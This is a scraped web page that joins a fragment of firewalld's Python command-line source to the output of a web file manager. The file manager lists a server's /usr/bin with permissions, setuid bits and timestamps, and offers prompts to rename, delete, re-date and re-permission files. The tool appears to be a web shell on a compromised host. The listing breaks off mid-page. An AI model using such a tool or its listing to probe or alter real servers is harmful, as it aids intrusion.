a.add_source, fw.addSource, fw.querySource, None, "'%s'") elif a.change_source: cmd.x_add_sequence(zone, a.change_source, fw.changeZoneOfSource, fw.querySource, None, "'%s'") elif a.remove_source: cmd.x_remove_sequence(zone, a.remove_source, fw.removeSource, fw.querySource, None, "'%s'") elif a.query_source: cmd.x_query_sequence(zone, a.query_source, fw.querySource, None, "'%s'") # policy elif a.policy: settings = fw.getPolicySettings(a.policy) if a.list_all: cmd.print_policy_info(a.policy, settings) sys.exit(0) # ingress zones elif a.list_ingress_zones: l = settings.getIngressZones() cmd.print_and_exit(" ".join(sorted(l))) elif a.add_ingress_zone: cmd.add_sequence(a.add_ingress_zone, settings.addIngressZone, settings.queryIngressZone, None, "'%s'") elif a.remove_ingress_zone: cmd.remove_sequence(a.remove_ingress_zone, settings.removeIngressZone, settings.queryIngressZone, None, "'%s'") elif a.query_ingress_zone: cmd.query_sequence(a.query_ingress_zone, settings.queryIngressZone, None, "'%s'") # egress zones elif a.list_egress_zones: l = settings.getEgressZones() cmd.print_and_exit(" ".join(sorted(l))) elif a.add_egress_zone: cmd.add_sequence(a.add_egress_zone, settings.addEgressZone, settings.queryEgressZone, None, "'%s'") elif a.remove_egress_zone: cmd.remove_sequence(a.remove_egress_zone, settings.removeEgressZone, settings.queryEgressZone, None, "'%s'") elif a.query_egress_zone: cmd.query_sequence(a.query_egress_zone, settings.queryEgressZone, None, "'%s'") # rich rules elif a.list_rich_rules: l = settings.getRichRules() cmd.print_and_exit("\n".join(l)) elif a.add_rich_rule: cmd.add_sequence(a.add_rich_rule, settings.addRichRule, settings.queryRichRule, None, "'%s'") elif a.remove_rich_rule: cmd.remove_sequence(a.remove_rich_rule, settings.removeRichRule, settings.queryRichRule, None, "'%s'") elif a.query_rich_rule: cmd.query_sequence(a.query_rich_rule, settings.queryRichRule, None, "'%s'") # service if a.list_services: l = settings.getServices() cmd.print_and_exit(" ".join(sorted(l))) elif a.add_service: cmd.add_sequence(a.add_service, settings.addService, settings.queryService, None, "'%s'") elif a.remove_service: cmd.remove_sequence(a.remove_service, settings.removeService, settings.queryService, None, "'%s'") elif a.query_service: cmd.query_sequence(a.query_service, settings.queryService, None, "'%s'") # port elif a.list_ports: l = settings.getPorts() cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in sorted(l, key=lambda x: (x[1], getPortRange(x[0])[0]))])) elif a.add_port: cmd.add_sequence(a.add_port, settings.addPort, settings.queryPort, cmd.parse_port, "%s/%s") elif a.remove_port: cmd.remove_sequence(a.remove_port, settings.removePort, settings.queryPort, cmd.parse_port, "%s/%s") elif a.query_port: cmd.query_sequence(a.query_port, settings.queryPort, cmd.parse_port, "%s/%s") # protocol elif a.list_protocols: l = settings.getProtocols() cmd.print_and_exit(" ".join(["%s" % protocol for protocol in sorted(l)])) elif a.add_protocol: cmd.add_sequence(a.add_protocol, settings.addProtocol, settings.queryProtocol, None, "'%s'") elif a.remove_protocol: cmd.remove_sequence(a.remove_protocol, settings.removeProtocol, settings.queryProtocol, None, "'%s'") elif a.query_protocol: cmd.query_sequence(a.query_protocol, settings.queryProtocol, None, "'%s'") # source port elif a.list_source_ports: l = settings.getSourcePorts() cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in sorted(l, key=lambda x: (x[1], getPortRange(x[0])[0]))])) elif a.add_source_port: cmd.add_sequence(a.add_source_port, settings.addSourcePort, settings.querySourcePort, cmd.parse_port, "%s/%s") elif a.remove_source_port: cmd.remove_sequence(a.remove_source_port, settings.removeSourcePort, settings.querySourcePort, cmd.parse_port, "%s/%s") elif a.query_source_port: cmd.query_sequence(a.query_source_port, settings.querySourcePort, cmd.parse_port, "%s/%s") # masquerade elif a.add_masquerade: settings.addMasquerade() elif a.remove_masquerade: settings.removeMasquerade() elif a.query_masquerade: cmd.print_query_result(settings.queryMasquerade()) # forward port elif a.list_forward_ports: l = settings.getForwardPorts() cmd.print_and_exit("\n".join(["port=%s:proto=%s:toport=%s:toaddr=%s" % (port, protocol, toport, toaddr) for (port, protocol, toport, toaddr) in l])) elif a.add_forward_port: cmd.add_sequence(a.add_forward_port, settings.addForwardPort, settings.queryForwardPort, cmd.parse_forward_port, "port=%s:proto=%s:toport=%s:toaddr=%s") elif a.remove_forward_port: cmd.remove_sequence(a.remove_forward_port, settings.removeForwardPort, settings.queryForwardPort, cmd.parse_forward_port, "port=%s:proto=%s:toport=%s:toaddr=%s") elif a.query_forward_port: cmd.query_sequence(a.query_forward_port, settings.queryForwardPort, cmd.parse_forward_port, "port=%s:proto=%s:toport=%s:toaddr=%s") # block icmp elif a.list_icmp_blocks: l = settings.getIcmpBlocks() cmd.print_and_exit(" ".join(l)) elif a.add_icmp_block: cmd.add_sequence(a.add_icmp_block, settings.addIcmpBlock, settings.queryIcmpBlock, None, "'%s'") elif a.remove_icmp_block: cmd.remove_sequence(a.remove_icmp_block, settings.removeIcmpBlock, settings.queryIcmpBlock, None, "'%s'") elif a.query_icmp_block: cmd.query_sequence(a.query_icmp_block, settings.queryIcmpBlock, None, "'%s'") fw.setPolicySettings(a.policy, settings) # endif a.policy # # else zone: # rich rules elif a.list_rich_rules: l = fw.getRichRules(zone) cmd.print_and_exit("\n".join(l)) elif a.add_rich_rule: cmd.zone_add_timeout_sequence(zone, a.add_rich_rule, fw.addRichRule, fw.queryRichRule, None, "'%s'", a.timeout) elif a.remove_rich_rule: cmd.x_remove_sequence(zone, a.remove_rich_rule, fw.removeRichRule, fw.queryRichRule, None, "'%s'") elif a.query_rich_rule: cmd.x_query_sequence(zone, a.query_rich_rule, fw.queryRichRule, None, "'%s'") # service elif a.list_services: l = fw.getServices(zone) cmd.print_and_exit(" ".join(sorted(l))) elif a.add_service: cmd.zone_add_timeout_sequence(zone, a.add_service, fw.addService, fw.queryService, None, "'%s'", a.timeout) elif a.remove_service: cmd.x_remove_sequence(zone, a.remove_service, fw.removeService, fw.queryService, None, "'%s'") elif a.query_service: cmd.x_query_sequence(zone, a.query_service, fw.queryService, None, "'%s'") # port elif a.list_ports: l = fw.getPorts(zone) cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in sorted(l, key=lambda x: (x[1], getPortRange(x[0])[0]))])) elif a.add_port: cmd.zone_add_timeout_sequence(zone, a.add_port, fw.addPort, fw.queryPort, cmd.parse_port, "'%s/%s'", a.timeout) elif a.remove_port: cmd.x_remove_sequence(zone, a.remove_port, fw.removePort, fw.queryPort, cmd.parse_port, "'%s/%s'") elif a.query_port: cmd.x_query_sequence(zone, a.query_port, fw.queryPort, cmd.parse_port, "'%s/%s'") # protocol elif a.list_protocols: l = fw.getProtocols(zone) cmd.print_and_exit(" ".join(["%s" % protocol for protocol in sorted(l)])) elif a.add_protocol: cmd.zone_add_timeout_sequence(zone, a.add_protocol, fw.addProtocol, fw.queryProtocol, None, "'%s'", a.timeout) elif a.remove_protocol: cmd.x_remove_sequence(zone, a.remove_protocol, fw.removeProtocol, fw.queryProtocol, None, "'%s'") elif a.query_protocol: cmd.x_query_sequence(zone, a.query_protocol, fw.queryProtocol, None, "'%s'") # source port elif a.list_source_ports: l = fw.getSourcePorts(zone) cmd.print_and_exit(" ".join(["%s/%s" % (port[0], port[1]) for port in sorted(l, key=lambda x: (x[1], getPortRange(x[0])[0]))])) elif a.add_source_port: cmd.zone_add_timeout_sequence(zone, a.add_source_port, fw.addSourcePort, fw.querySourcePort, cmd.parse_port, "'%s/%s'", a.timeout) elif a.remove_source_port: cmd.x_remove_sequence(zone, a.remove_source_port, fw.removeSourcePort, fw.querySourcePort, cmd.parse_port, "'%s/%s'") elif a.query_source_port: cmd.x_query_sequence(zone, a.query_source_port, fw.querySourcePort, cmd.parse_port, "'%s/%s'") # forward elif a.add_forward: fw.addForward(zone) elif a.remove_forward: fw.removeForward(zone) elif a.query_forward: cmd.print_query_result(fw.queryForward(zone)) # masquerade elif a.add_masquerade: fw.addMasquerade(zone, a.timeout) elif a.remove_masquerade: fw.removeMasquerade(zone) elif a.query_masquerade: cmd.print_query_result(fw.queryMasquerade(zone)) # forward port elif a.list_forward_ports: l = fw.getForwardPorts(zone) cmd.print_and_exit("\n".join(["port=%s:proto=%s:toport=%s:toaddr=%s" % (port, protocol, toport, toaddr) for (port, protocol, toport, toaddr) in l])) elif a.add_forward_port: cmd.zone_add_timeout_sequence(zone, a.add_forward_port, fw.addForwardPort, fw.queryForwardPort, cmd.parse_forward_port, "'port=%s:proto=%s:toport=%s:toaddr=%s'", a.timeout) elif a.remove_forward_port: cmd.x_remove_sequence(zone, a.remove_forward_port, fw.removeForwardPort, fw.queryForwardPort, cmd.parse_forward_port, "'port=%s:proto=%s:toport=%s:toaddr=%s'") elif a.query_forward_port: cmd.x_query_sequence(zone, a.query_forward_port, fw.queryForwardPort, cmd.parse_forward_port, "'port=%s:proto=%s:toport=%s:toaddr=%s'") # block icmp elif a.list_icmp_blocks: l = fw.getIcmpBlocks(zone) cmd.print_and_exit(" ".join(l)) elif a.add_icmp_block: cmd.zone_add_timeout_sequence(zone, a.add_icmp_block, fw.addIcmpBlock, fw.queryIcmpBlock, None, "'%s'", a.timeout) elif a.remove_icmp_block: cmd.x_remove_sequence(zone, a.remove_icmp_block, fw.removeIcmpBlock, fw.queryIcmpBlock, None, "'%s'") elif a.query_icmp_block: cmd.x_query_sequence(zone, a.query_icmp_block, fw.queryIcmpBlock, None, "'%s'") # icmp block inversion elif a.add_icmp_block_inversion: fw.addIcmpBlockInversion(zone) elif a.remove_icmp_block_inversion: fw.removeIcmpBlockInversion(zone) elif a.query_icmp_block_inversion: cmd.print_query_result(fw.queryIcmpBlockInversion(zone)) # list all elif a.list_all: z = zone if zone else fw.getDefaultZone() cmd.print_zone_info(z, fw.getZoneSettings(z)) sys.exit(0) # list everything elif a.list_all_zones: for zone in fw.getZones(): cmd.print_zone_info(zone, fw.getZoneSettings(zone)) cmd.print_msg("") sys.exit(0) elif a.list_all_policies: for policy in fw.getPolicies(): cmd.print_policy_info(policy, fw.getPolicySettings(policy)) cmd.print_msg("") sys.exit(0) elif a.info_zone: cmd.print_zone_info(a.info_zone, fw.getZoneSettings(a.info_zone), True) sys.exit(0) elif a.info_policy: cmd.print_policy_info(a.info_policy, fw.getPolicySettings(a.info_policy)) sys.exit(0) elif a.info_service: cmd.print_service_info(a.info_service, fw.getServiceSettings(a.info_service)) sys.exit(0) elif a.info_icmptype: cmd.print_icmptype_info(a.info_icmptype, fw.getIcmpTypeSettings(a.info_icmptype)) sys.exit(0) cmd.print_and_exit("success")
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
dr-xr-xr-x
2025-10-21 10:57:26
..
DIR
-
drwxr-xr-x
2025-06-28 07:14:01
2to3
text/plain
106 B
-rwxr-xr-x
2025-08-26 09:08:07
2to3-3.6
text/plain
106 B
-rwxr-xr-x
2025-08-26 09:08:07
GET
text/x-perl
15.84 KB
-rwxr-xr-x
2022-04-22 08:13:06
HEAD
text/x-perl
15.84 KB
-rwxr-xr-x
2022-04-22 08:13:06
Magick-config
text/x-shellscript
1.43 KB
-rwxr-xr-x
2025-04-01 01:10:59
MagickCore-config
text/x-shellscript
1.56 KB
-rwxr-xr-x
2025-04-01 01:10:59
MagickWand-config
text/x-shellscript
1.56 KB
-rwxr-xr-x
2025-04-01 01:10:59
Mail
application/x-sharedlib
408.89 KB
-rwxr-xr-x
2019-10-13 12:19:50
POST
text/x-perl
15.84 KB
-rwxr-xr-x
2022-04-22 08:13:06
Wand-config
text/x-shellscript
1.42 KB
-rwxr-xr-x
2025-04-01 01:10:59
[
application/x-sharedlib
53.67 KB
-rwxr-xr-x
2023-04-01 08:44:39
ab
application/x-sharedlib
72.63 KB
-rwxr-xr-x
2025-10-15 08:39:07
aclocal
text/x-perl
35.62 KB
-rwxr-xr-x
2023-10-14 08:00:43
aclocal-1.16
text/x-perl
35.62 KB
-rwxr-xr-x
2023-10-14 08:00:43
acpi_listen
application/x-sharedlib
18.26 KB
-rwxr-xr-x
2019-10-14 04:19:15
acyclic
application/x-sharedlib
12.41 KB
-rwxr-xr-x
2024-04-06 12:47:15
addr2line
application/x-sharedlib
33.41 KB
-rwxr-xr-x
2025-10-07 06:44:04
agentxtrap
application/x-sharedlib
24.54 KB
-rwxr-xr-x
2025-10-07 09:19:27
alias
text/x-shellscript
29 B
-rwxr-xr-x
2025-08-26 08:48:39
animate
application/x-sharedlib
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
apropos
application/x-sharedlib
54.04 KB
-rwxr-xr-x
2021-10-08 01:04:46
ar
application/x-sharedlib
61.97 KB
-rwxr-xr-x
2025-10-07 06:44:04
arch
application/x-sharedlib
37.41 KB
-rwxr-xr-x
2023-04-01 08:44:39
aria_chk
application/x-sharedlib
4.53 MB
-rwxr-xr-x
2025-07-28 05:16:23
aria_dump_log
application/x-sharedlib
4.33 MB
-rwxr-xr-x
2025-07-28 05:16:24
aria_ftdump
application/x-sharedlib
4.34 MB
-rwxr-xr-x
2025-07-28 05:16:24
aria_pack
application/x-sharedlib
4.37 MB
-rwxr-xr-x
2025-07-28 05:16:23
aria_read_log
application/x-sharedlib
4.49 MB
-rwxr-xr-x
2025-07-28 05:16:23
arpaname
application/x-sharedlib
11.82 KB
-rwxr-xr-x
2025-02-20 09:05:41
as
application/x-sharedlib
889.91 KB
-rwxr-xr-x
2025-10-07 06:44:04
aspell
application/x-sharedlib
159.5 KB
-rwxr-xr-x
2022-04-18 03:10:53
at
application/x-sharedlib
57.33 KB
-rwxr-xr-x
2022-10-10 10:23:17
atop
application/x-executable
284.66 KB
-rwxr-xr-x
2022-01-11 04:41:18
atopconvert
application/x-executable
24.66 KB
-rwxr-xr-x
2022-01-11 04:41:18
atopd
text/x-shellscript
922 B
-rwxr-xr-x
2022-01-11 04:38:59
atopsar
application/x-executable
284.66 KB
-rwxr-xr-x
2022-01-11 04:41:18
atq
application/x-sharedlib
57.33 KB
-rwxr-xr-x
2022-10-10 10:23:17
atrm
application/x-sharedlib
57.33 KB
-rwxr-xr-x
2022-10-10 10:23:17
aulast
application/x-sharedlib
20.58 KB
-rwxr-xr-x
2025-07-15 09:41:57
aulastlog
application/x-sharedlib
12.44 KB
-rwxr-xr-x
2025-07-15 09:41:57
ausyscall
application/x-sharedlib
12.27 KB
-rwxr-xr-x
2025-07-15 09:41:57
authselect
application/x-sharedlib
41.13 KB
-rwxr-xr-x
2023-10-14 06:06:30
autoconf
text/x-shellscript
14.42 KB
-rwxr-xr-x
2024-08-13 07:30:48
autoheader
text/x-perl
8.33 KB
-rwxr-xr-x
2024-08-13 07:30:48
autom4te
text/x-perl
31.43 KB
-rwxr-xr-x
2024-08-13 07:30:48
automake
text/x-perl
251.9 KB
-rwxr-xr-x
2023-10-14 08:00:43
automake-1.16
text/x-perl
251.9 KB
-rwxr-xr-x
2023-10-14 08:00:43
autopoint
text/x-shellscript
25.95 KB
-rwxr-xr-x
2019-11-18 05:16:48
autoreconf
text/x-perl
20.57 KB
-rwxr-xr-x
2024-08-13 07:30:48
autoscan
text/x-perl
16.72 KB
-rwxr-xr-x
2024-08-13 07:30:48
autoupdate
text/x-perl
33.08 KB
-rwxr-xr-x
2024-08-13 07:30:48
auvirt
application/x-sharedlib
32.73 KB
-rwxr-xr-x
2025-07-15 09:41:57
awk
application/x-sharedlib
669.77 KB
-rwxr-xr-x
2022-04-18 03:56:05
b2sum
application/x-sharedlib
57.76 KB
-rwxr-xr-x
2023-04-01 08:44:39
base32
application/x-sharedlib
41.55 KB
-rwxr-xr-x
2023-04-01 08:44:39
base64
application/x-sharedlib
41.56 KB
-rwxr-xr-x
2023-04-01 08:44:39
basename
application/x-sharedlib
37.49 KB
-rwxr-xr-x
2023-04-01 08:44:39
bash
application/x-sharedlib
1.1 MB
-rwxr-xr-x
2025-08-26 08:48:39
bashbug
text/x-shellscript
7.18 KB
-rwxr-xr-x
2025-08-26 08:48:31
bashbug-64
text/x-shellscript
7.18 KB
-rwxr-xr-x
2025-08-26 08:48:31
batch
text/x-shellscript
137 B
-rwxr-xr-x
2022-10-10 10:23:17
bc
application/x-sharedlib
94.98 KB
-rwxr-xr-x
2019-10-12 12:34:38
bcomps
application/x-sharedlib
20.62 KB
-rwxr-xr-x
2024-04-06 12:47:15
bdftopcf
application/x-sharedlib
45.4 KB
-rwxr-xr-x
2021-10-09 11:42:47
bg
text/x-shellscript
26 B
-rwxr-xr-x
2025-08-26 08:48:39
bind9-config
text/x-shellscript
3.33 KB
-rwxr-xr-x
2025-02-20 09:05:35
bison
application/x-sharedlib
437.72 KB
-rwxr-xr-x
2019-10-12 12:28:39
bond2team
text/x-shellscript
22.74 KB
-rwxr-xr-x
2020-07-26 09:58:14
bootctl
application/x-sharedlib
45.15 KB
-rwxr-xr-x
2025-04-22 01:58:56
brotli
application/x-sharedlib
739.2 KB
-rwxr-xr-x
2021-04-08 09:00:44
bunzip2
application/x-sharedlib
36.86 KB
-rwxr-xr-x
2025-01-28 01:38:59
busctl
application/x-sharedlib
77.26 KB
-rwxr-xr-x
2025-04-22 01:58:56
bzcat
application/x-sharedlib
36.86 KB
-rwxr-xr-x
2025-01-28 01:38:59
bzcmp
text/x-shellscript
2.08 KB
-rwxr-xr-x
2025-01-28 01:38:58
bzdiff
text/x-shellscript
2.08 KB
-rwxr-xr-x
2025-01-28 01:38:58
bzegrep
text/x-shellscript
1.64 KB
-rwxr-xr-x
2025-01-28 01:38:58
bzfgrep
text/x-shellscript
1.64 KB
-rwxr-xr-x
2025-01-28 01:38:58
bzgrep
text/x-shellscript
1.64 KB
-rwxr-xr-x
2025-01-28 01:38:58
bzip2
application/x-sharedlib
36.86 KB
-rwxr-xr-x
2025-01-28 01:38:59
bzip2recover
application/x-sharedlib
16.44 KB
-rwxr-xr-x
2025-01-28 01:38:59
bzless
text/x-shellscript
1.23 KB
-rwxr-xr-x
2025-01-28 01:38:58
bzmore
text/x-shellscript
1.23 KB
-rwxr-xr-x
2025-01-28 01:38:58
c++
application/x-sharedlib
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:24
c++filt
application/x-sharedlib
28.89 KB
-rwxr-xr-x
2025-10-07 06:44:04
c89
text/x-shellscript
224 B
-rwxr-xr-x
2025-08-26 09:45:19
c99
text/x-shellscript
215 B
-rwxr-xr-x
2025-08-26 09:45:19
ca-legacy
text/x-shellscript
1.61 KB
-rwxr-xr-x
2024-08-21 07:16:41
cairo-sphinx
application/x-sharedlib
69.71 KB
-rwxr-xr-x
2022-04-18 04:06:31
cal
application/x-sharedlib
65.98 KB
-rwxr-xr-x
2024-04-06 01:02:53
captoinfo
application/x-sharedlib
85.31 KB
-rwxr-xr-x
2023-10-14 06:54:49
cat
application/x-sharedlib
37.54 KB
-rwxr-xr-x
2023-04-01 08:44:39
catchsegv
text/x-shellscript
3.21 KB
-rwxr-xr-x
2025-08-05 02:01:26
catman
application/x-sharedlib
41.45 KB
-rwxr-xr-x
2021-10-08 01:04:46
cc
application/x-sharedlib
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:26
ccomps
application/x-sharedlib
24.72 KB
-rwxr-xr-x
2024-04-06 12:47:15
cd
text/x-shellscript
26 B
-rwxr-xr-x
2025-08-26 08:48:39
centrino-decode
application/x-sharedlib
11.27 KB
-rwxr-xr-x
2025-10-20 08:13:35
certutil
application/x-sharedlib
199.15 KB
-rwxr-xr-x
2025-09-09 01:57:06
chacl
application/x-sharedlib
16.36 KB
-rwxr-xr-x
2024-04-06 12:15:42
chage
application/x-sharedlib
77.68 KB
-rwsr-xr-x
2024-04-06 02:00:13
chattr
application/x-sharedlib
16.41 KB
-rwxr-xr-x
2025-10-07 07:08:06
chcon
application/x-sharedlib
70.43 KB
-rwxr-xr-x
2023-04-01 08:44:39
chfn
32.89 KB
-rws--x--x
2024-04-06 01:02:53
chgrp
application/x-sharedlib
66.35 KB
-rwxr-xr-x
2023-04-01 08:44:39
chmem
application/x-sharedlib
45.47 KB
-rwxr-xr-x
2024-04-06 01:02:53
chmod
application/x-sharedlib
62.29 KB
-rwxr-xr-x
2023-04-01 08:44:39
chown
application/x-sharedlib
70.39 KB
-rwxr-xr-x
2023-04-01 08:44:39
chronyc
application/x-sharedlib
127.6 KB
-rwxr-xr-x
2024-11-05 07:47:21
chrt
application/x-sharedlib
37.18 KB
-rwxr-xr-x
2024-04-06 01:02:53
chsh
24.71 KB
-rwx--x--x
2024-04-06 01:02:53
chvt
application/x-sharedlib
12.53 KB
-rwxr-xr-x
2023-10-14 09:01:01
cifsiostat
application/x-sharedlib
41.35 KB
-rwxr-xr-x
2024-07-03 09:57:26
circo
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
cksum
application/x-sharedlib
37.46 KB
-rwxr-xr-x
2023-04-01 08:44:39
cl-linksafe-reconfigure
text/x-shellscript
4.83 KB
-rwxr-xr-x
2021-07-04 09:39:09
clear
application/x-sharedlib
12.54 KB
-rwxr-xr-x
2023-10-14 06:54:49
cluster
application/x-sharedlib
518.33 KB
-rwxr-xr-x
2024-04-06 12:47:16
clusterdb
application/x-sharedlib
70.23 KB
-rwxr-xr-x
2024-02-27 08:25:00
cmp
application/x-sharedlib
103.76 KB
-rwxr-xr-x
2020-05-04 03:15:14
cmsutil
application/x-sharedlib
122.48 KB
-rwxr-xr-x
2025-09-09 01:57:06
col
application/x-sharedlib
29 KB
-rwxr-xr-x
2024-04-06 01:02:53
colcrt
application/x-sharedlib
16.48 KB
-rwxr-xr-x
2024-04-06 01:02:53
colrm
application/x-sharedlib
24.88 KB
-rwxr-xr-x
2024-04-06 01:02:53
column
application/x-sharedlib
49.47 KB
-rwxr-xr-x
2024-04-06 01:02:53
comm
application/x-sharedlib
41.63 KB
-rwxr-xr-x
2023-04-01 08:44:39
command
text/x-shellscript
31 B
-rwxr-xr-x
2025-08-26 08:48:39
compare
application/x-sharedlib
11.85 KB
-rwxr-xr-x
2025-04-01 01:15:58
compile_et
text/x-shellscript
1.31 KB
-rwxr-xr-x
2025-10-07 07:07:55
composite
application/x-sharedlib
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
config_data
text/x-perl
6.97 KB
-rwxr-xr-x
2019-10-13 10:59:01
conjure
application/x-sharedlib
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
convert
application/x-sharedlib
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
coredumpctl
application/x-sharedlib
44.91 KB
-rwxr-xr-x
2025-04-22 01:58:57
corelist
text/x-perl
14.64 KB
-rwxr-xr-x
2019-10-13 11:00:26
cp
application/x-sharedlib
148.05 KB
-rwxr-xr-x
2023-04-01 08:44:39
cpan
text/x-perl
8.17 KB
-rwxr-xr-x
2025-06-03 02:32:21
cpan-mirrors
text/x-perl
4.19 KB
-rwxr-xr-x
2025-06-03 02:32:21
cpapi1
application/x-executable
3.18 MB
-rwxr-xr-x
2025-10-16 10:57:41
cpapi2
application/x-executable
3.18 MB
-rwxr-xr-x
2025-10-16 10:57:41
cpapi3
application/x-executable
3.18 MB
-rwxr-xr-x
2025-10-16 10:57:41
cpio
application/x-sharedlib
159.8 KB
-rwxr-xr-x
2022-04-18 05:19:04
cpp
application/x-sharedlib
1.21 MB
-rwxr-xr-x
2025-08-26 09:47:25
cpupower
application/x-sharedlib
66.91 KB
-rwxr-xr-x
2025-10-20 08:12:22
crb
text/x-shellscript
2.58 KB
-rwxr--r--
2025-04-22 05:22:20
crc32
text/x-perl
1.02 KB
-rwxr-xr-x
2019-11-12 06:41:42
createdb
application/x-sharedlib
70.22 KB
-rwxr-xr-x
2024-02-27 08:25:00
createuser
application/x-sharedlib
74.63 KB
-rwxr-xr-x
2024-02-27 08:25:00
crlutil
application/x-sharedlib
134.95 KB
-rwxr-xr-x
2025-09-09 01:57:06
cronnext
application/x-sharedlib
49.8 KB
-rwxr-xr-x
2024-04-06 11:40:05
crontab
application/x-sharedlib
61.67 KB
-rwsr-xr-x
2024-04-06 11:40:05
csplit
application/x-sharedlib
53.76 KB
-rwxr-xr-x
2023-04-01 08:44:39
csslint-0.6
application/x-sharedlib
24.56 KB
-rwxr-xr-x
2020-09-22 09:07:00
curl
application/x-sharedlib
230.08 KB
-rwxr-xr-x
2025-10-07 06:37:37
cut
application/x-sharedlib
49.59 KB
-rwxr-xr-x
2023-04-01 08:44:39
cvtsudoers
application/x-sharedlib
284.21 KB
-rwxr-xr-x
2025-08-26 09:02:52
cxpm
application/x-sharedlib
29.11 KB
-rwxr-xr-x
2024-03-30 01:53:16
date
application/x-sharedlib
106.03 KB
-rwxr-xr-x
2023-04-01 08:44:39
db_archive
application/x-sharedlib
12.45 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_checkpoint
application/x-sharedlib
16.48 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_deadlock
application/x-sharedlib
16.48 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_dump
application/x-sharedlib
16.51 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_dump185
application/x-sharedlib
69.55 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_hotbackup
application/x-sharedlib
20.49 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_load
application/x-sharedlib
28.61 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_log_verify
application/x-sharedlib
16.52 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_printlog
application/x-sharedlib
33.4 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_recover
application/x-sharedlib
16.51 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_replicate
application/x-sharedlib
16.49 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_stat
application/x-sharedlib
16.48 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_tuner
application/x-sharedlib
24.55 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_upgrade
application/x-sharedlib
12.45 KB
-rwxr-xr-x
2021-09-21 04:38:10
db_verify
application/x-sharedlib
16.46 KB
-rwxr-xr-x
2021-09-21 04:38:10
dbilogstrip
text/x-perl
1.35 KB
-rwxr-xr-x
2022-04-25 04:10:04
dbiprof
text/x-perl
6.06 KB
-rwxr-xr-x
2022-04-25 04:10:04
dbus-binding-tool
application/x-sharedlib
110.43 KB
-rwxr-xr-x
2019-10-25 12:53:05
dbus-cleanup-sockets
application/x-sharedlib
16.39 KB
-rwxr-xr-x
2025-08-26 11:23:03
dbus-daemon
application/x-sharedlib
239.72 KB
-rwxr-xr-x
2025-08-26 11:23:03
dbus-monitor
application/x-sharedlib
28.58 KB
-rwxr-xr-x
2025-08-26 11:23:03
dbus-run-session
application/x-sharedlib
15.88 KB
-rwxr-xr-x
2025-08-26 11:23:03
dbus-send
application/x-sharedlib
28.54 KB
-rwxr-xr-x
2025-08-26 11:23:03
dbus-test-tool
application/x-sharedlib
24.6 KB
-rwxr-xr-x
2025-08-26 11:23:03
dbus-update-activation-environment
application/x-sharedlib
16.41 KB
-rwxr-xr-x
2025-08-26 11:23:03
dbus-uuidgen
application/x-sharedlib
12.38 KB
-rwxr-xr-x
2025-08-26 11:23:03
dc
application/x-sharedlib
53.02 KB
-rwxr-xr-x
2019-10-12 12:34:38
dd
application/x-sharedlib
78.05 KB
-rwxr-xr-x
2023-04-01 08:44:39
deallocvt
application/x-sharedlib
12.54 KB
-rwxr-xr-x
2023-10-14 09:01:01
debuginfo-install
text/x-python
3.62 KB
-rwxr-xr-x
2024-04-08 10:02:46
debuginfod-find
application/x-sharedlib
16.47 KB
-rwxr-xr-x
2025-08-25 12:56:12
delv
application/x-sharedlib
42.46 KB
-rwxr-xr-x
2025-02-20 09:05:41
df
application/x-sharedlib
91.16 KB
-rwxr-xr-x
2023-04-01 08:44:39
diff
application/x-sharedlib
268.01 KB
-rwxr-xr-x
2020-05-04 03:15:14
diff3
application/x-sharedlib
128.6 KB
-rwxr-xr-x
2020-05-04 03:15:14
diffimg
application/x-sharedlib
12.27 KB
-rwxr-xr-x
2024-04-06 12:47:16
dig
application/x-sharedlib
162.19 KB
-rwxr-xr-x
2025-02-20 09:05:41
dijkstra
application/x-sharedlib
16.71 KB
-rwxr-xr-x
2024-04-06 12:47:16
dir
application/x-sharedlib
139.97 KB
-rwxr-xr-x
2023-04-01 08:44:39
dircolors
application/x-sharedlib
49.63 KB
-rwxr-xr-x
2023-04-01 08:44:39
dirmngr
application/x-sharedlib
580.16 KB
-rwxr-xr-x
2022-09-13 10:15:05
dirmngr-client
application/x-sharedlib
120.12 KB
-rwxr-xr-x
2022-09-13 10:15:05
dirname
application/x-sharedlib
33.44 KB
-rwxr-xr-x
2023-04-01 08:44:39
display
application/x-sharedlib
11.84 KB
-rwxr-xr-x
2025-04-01 01:15:58
dltest
application/x-sharedlib
13.05 KB
-rwxr-xr-x
2019-10-14 09:51:19
dmesg
application/x-sharedlib
77.88 KB
-rwxr-xr-x
2024-04-06 01:02:53
dnf
text/x-python
2.05 KB
-rwxr-xr-x
2025-03-11 09:47:56
dnf-3
text/x-python
2.05 KB
-rwxr-xr-x
2025-03-11 09:47:56
dnsdomainname
application/x-sharedlib
21.16 KB
-rwxr-xr-x
2019-10-11 01:06:51
dnstap-read
application/x-sharedlib
20.43 KB
-rwxr-xr-x
2025-02-20 09:05:41
domainname
application/x-sharedlib
21.16 KB
-rwxr-xr-x
2019-10-11 01:06:51
dot
application/x-sharedlib
12.26 KB
-rwxr-xr-x
2024-04-06 12:47:16
dot2gxl
application/x-sharedlib
41.3 KB
-rwxr-xr-x
2024-04-06 12:47:15
dotty
text/x-shellscript
2.04 KB
-rwxr-xr-x
2024-04-06 12:47:07
doveadm
application/x-sharedlib
983.31 KB
-rwxr-xr-x
2025-02-25 08:04:29
doveconf
